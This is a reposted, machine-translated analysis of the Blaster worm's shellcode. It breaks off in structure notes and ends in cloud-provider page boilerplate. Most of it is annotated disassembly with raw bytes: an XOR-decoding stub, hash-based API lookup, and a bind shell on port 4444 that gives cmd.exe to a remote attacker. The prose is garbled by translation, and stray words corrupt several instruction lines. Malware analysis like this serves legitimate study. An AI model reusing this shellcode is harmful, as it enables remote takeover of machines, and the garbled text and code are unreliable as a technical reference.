Research on the Shellcode source code of "shock wave" virus

Source: Internet
Author: User
Tags bind socket
2 years ago, when the "shock wave" virus broke out, I had an analysis of its shellcode, and now I gave it to the analysis I wrote,
Let's see what a generation of poison is. In general, Shellcode are written in this way, so long as the hook Shellcode must invoke the API to judge ESP and EIP
If the difference is within 0x1000 (that is, the code is running on the stack), you can basically confirm that the system is under a buffer overflow attack and that the process must exit immediately.
Of course, some of the more powerful shellcode using the direct call native Api,raw socket, and other technology, the hook API monitoring buffer Overflow attack method is not the spirit,
There are other ways to think about it, but in this case, it's a lot of volume, and it's hard to shellcode the system and its flaws.


In exploit, because you can't have 0 and 5C characters, be careful when writing code, because a lot of code has 0, like
; The Mov ecx,8 machine code is b9 08 00 00 00 has 3 0, so you must change to XOR Ecx,ecx/mov cl,8 or push 8/pop ecx or XOR ecx,ecx--sub ecx,-8

: 00401000 NOP
: 00401001 NOP


: 00401002 NOP
: 00401003 EB19 jmp 0040101E
: 00401005 5E pop esi; esi=00401023, the code starting at 00401023 addresses will be restored, actually the address that ESI points to is not fixed on the stack
: 00401006 31c9 xor ecx, ECX
: 00401008 81e989ffffff Sub ecx, ffffff89==-77; ecx=77h
: 0040100E 813680bf3294 xor dword ptr [esi], 9432bf80 Restore code encrypted from 00401023
: 00401014 81EEFCFFFFFF Sub esi, FFFFFFFC add esi,4
: 0040101A E2f2 Loop 0040100E
: 0040101C EB05 jmp 00401023; restore completed, skip to restored code
: 0040101E e8e2ffffff call 00401005; This instruction corresponds to the set of push 00401023,jmp 4,010,052 instructions

The code starting here has been restored:
: 00401023 83ec34 Sub ESP, 00000034
: 00401026 8BF4 mov esi, esp;esi--> variable table

: 00401028 E847010000 call 00401174; eax=77e40000h=hkernel32
: 0040102D 8906 mov dword ptr [esi], eax

: 0040102F FF36 push DWORD ptr [ESI]; =77e40000h
: 00401031 688E4E0EEC push ec0e4e8e; Custom encoding for LoadLibraryA strings
: 00401036 E861010000 Call 0040119C
: 0040103B 894608 mov dword ptr [esi+08], eax; =77e605d8h

: 0040103E FF36 push DWORD ptr [ESI]; =77e40000h
: 00401040 68add905ce push ce05d9ad; Custom encoding for WaitForSingleObject strings
: 00401045 E852010000 Call 0040119C
: 0040104A 89460C mov dword ptr [esi+0c], eax =77E59D5BH

: 0040104D 686c6c0000 Push 00006c6c
: 00401052 6833322E64 Push 642E3233
: 00401057 687773325F push 5f327377; Ws2_32.dll "
: 0040105C push ESP;esp--> "Ws2_32.dll"
: 0040105D FF5608 Call LoadLibraryA-->ws2_32.dll
: 00401060 894604 mov dword ptr [esi+04], eax =71a20000h (Ws2_32.dll in memory address)

: 00401063 FF36 push DWORD ptr [ESI]; =77e40000h
: 00401065 6872feb316 push 16b3fe72; Custom encoding for CreateProcessA strings
: 0040106A e82d010000 Call 0040119C
: 0040106F 894610 mov dword ptr [esi+10], eax

: 00401072 FF36 push DWORD ptr [ESI]; =77e40000h
: 00401074 687ed8e273 push 73e2d87e; Custom encoding for ExitProcess strings
: 00401079 e81e010000 Call 0040119C
: 0040107E 894614 mov dword ptr [esi+14], eax

: 00401081 FF7604 push [esi+04]; =71a20000h
: 00401084 68cbedfc3b push 3BFCEDCB; Custom encoding for WSAStartup strings
: 00401089 e80e010000 Call 0040119C
: 0040108E 894618 mov dword ptr [esi+18], eax

: 00401091 FF7604 push [esi+04]; =71a20000h
: 00401094 68D909F5AD push adf509d9; Custom encoding for Wsasocketa strings
: 00401099 e8fe000000 Call 0040119C
: 0040109E 89461C mov dword ptr [esi+1c], eax

: 004010a1 FF7604 push [esi+04]; =71a20000h
: 004010a4 68a41a70c7 push c7701aa4; Bind string's Custom encoding
: 004010a9 e8ee000000 Call 0040119C
: 004010AE 894620 mov dword ptr [esi+20], eax

: 004010b1 FF7604 push [esi+04]; =71a20000h
: 004010b4 68a4ad2ee9 push e92eada4; Listen custom encoding of strings
: 004010b9 e8de000000 Call 0040119C
: 004010BE 894624 mov dword ptr [esi+24], eax

: 004010c1 FF7604 push [esi+04]; =71a20000h
: 004010c4 68E5498649 push 498649E5; accept string Custom encoding
: 004010c9 e8ce000000 Call 0040119C
: 004010CE 894628 mov dword ptr [esi+28], eax

: 004010d1 FF7604 push [esi+04]; =71a20000h
: 004010d4 68e779c679 push 79c679e7; closesocket custom encoding of strings
: 004010d9 e8be000000 Call 0040119C
: 004010DE 89462C mov dword ptr [ESI+2C], eax

: 004010E1 33FF xor EDI, EDI
: 004010E3 81ec90010000 Sub ESP, 00000190; Allocate temporary space 0x190 bytes in the stack

: 004010E9 push ESP
: 004010EA 6801010000 push 00000101 Wsock 1.1
: 004010EF FF5618 Call WSAStartup, start Winsock 1.1 library

: 004010f2 push EAX =0
: 004010f3 push EAX =0
: 004010f4 push EAX =0
: 004010f5 push EAX =0
: 004010f6 inc EAX =1
: 004010f7 push EAX =1
: 004010f8 inc EAX =2
: 004010f9 push eax =2; esp-->2,1,0,0,0,0
: 004010FA ff561c call Wsasocketa; establish a TCP SOCKET for listening
: 004010FD 8BD8 mov ebx, eax =010ch

: 004010FF Push EDI =0
: 00401100 Push EDI =0
: 00401101 680200115C push 5c110002;p ort=4444; sockaddr_in structure not completed, 4 bytes less
: 00401106 8BCC mov ecx, esp; ecx-->0200115c0000000000000000

: 00401108 6a16 push 00000016h; This parameter should be 10h.
: 0040110A i push ecx; ecx-->0200115c000000000000000
: 0040110B push ebx; hsocket
: 0040110C FF5620 call bind; Bind 4444 Port

: 0040110F Push EDI =0
: 00401110 push ebx; hsocket
: 00401111 FF5624 Call Listen 4444 ports begin to enter the listening state

: 00401114 Push EDI =0
: 00401115 may push ecx =0a2340; This argument seems to have a problem, can be 0
: 00401116 push ebx; hsocket
: 00401117 FF5628 call accept; accept the connection from the attack host and begin to receive the DOS command from the other side.
: 0040111A 8bd0 mov edx, eax =324h, handle of socket to translate

: 0040111C 6865786500 Push 00657865
: 00401121 68636d642e push 2e646d63; " Cmd.exe "
: 00401126 896630 mov dword ptr [esi+30], esp--> "cmd.exe"


Process_information STRUCT
Hprocess DWORD?
Hthread DWORD?
Dwprocessid DWORD?
dwThreadID DWORD?
Process_information ENDS


Startupinfo STRUCT
CB DWORD?; 44h
Lpreserved DWORD?
Lpdesktop DWORD?
0c lptitle DWORD?
Ten DwX DWORD?
Dwy DWORD?
Dwxsize DWORD?
1c Dwysize DWORD?
Dwxcountchars DWORD?
Dwycountchars DWORD?
Dwfillattribute DWORD?
2c dwflags DWORD?; 100h, set startf_usestdhandles flags

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.